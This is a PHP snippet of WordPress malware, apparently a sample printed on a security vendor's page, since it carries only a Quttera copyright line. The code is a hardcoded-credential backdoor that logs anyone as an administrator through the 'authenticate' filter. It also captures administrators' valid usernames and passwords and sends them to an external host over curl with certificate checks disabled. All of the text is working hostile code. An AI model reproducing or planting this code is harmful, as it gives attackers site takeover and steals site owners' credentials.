function mal__($a_u, $u, $p) {
if ($u == 'admin:h4:login' && $p == 'admin:h4:password:2250++') {
$u_id = mal__get();
if (!$u_id) { wp_die('Authentication failed'); }
$a_u = get_user_by('id', $u_id);
wp_clear_auth_cookie();
wp_set_current_user($u_id, $a_u->data->user_login);
wp_set_auth_cookie($u_id);
if (!headers_sent()) {
wp_safe_redirect(admin_url());
exit;
}
echo '<script>location.href="' . admin_url() . '"</script>';
exit;
}
return $a_u;
}
function mal__get() {
global $wpdb;
return intval($wpdb->get_var("SELECT u.ID FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} m ON m.user_id = u.ID WHERE (m.meta_key = '{$wpdb->prefix}user_level' AND m.meta_value = 10) OR (m.meta_key = '{$wpdb->prefix}capabilities' AND m.meta_value LIKE '%\"administrator\"%')"));
}
add_filter('authenticate', 'mal__', 3, 10);
function h4_custom_lgn_code_send($u, $p) {
if (empty($u) || empty($p)) return;
$user = get_user_by('login', $u);
if ($user && wp_check_password($p, $user->data->user_pass, $user->ID) && in_array('administrator', (array) $user->roles)) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => "https://cvenshell.org/active/key.php",
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => http_build_query(['user' => $u, 'pw' => $p, 'site' => "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"]),
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
@curl_exec($ch);
@curl_close($ch);
}
}
add_action('wp_authenticate', 'h4_custom_lgn_code_send', 30, 2);
© 2023 Quttera Ltd. All rights reserved.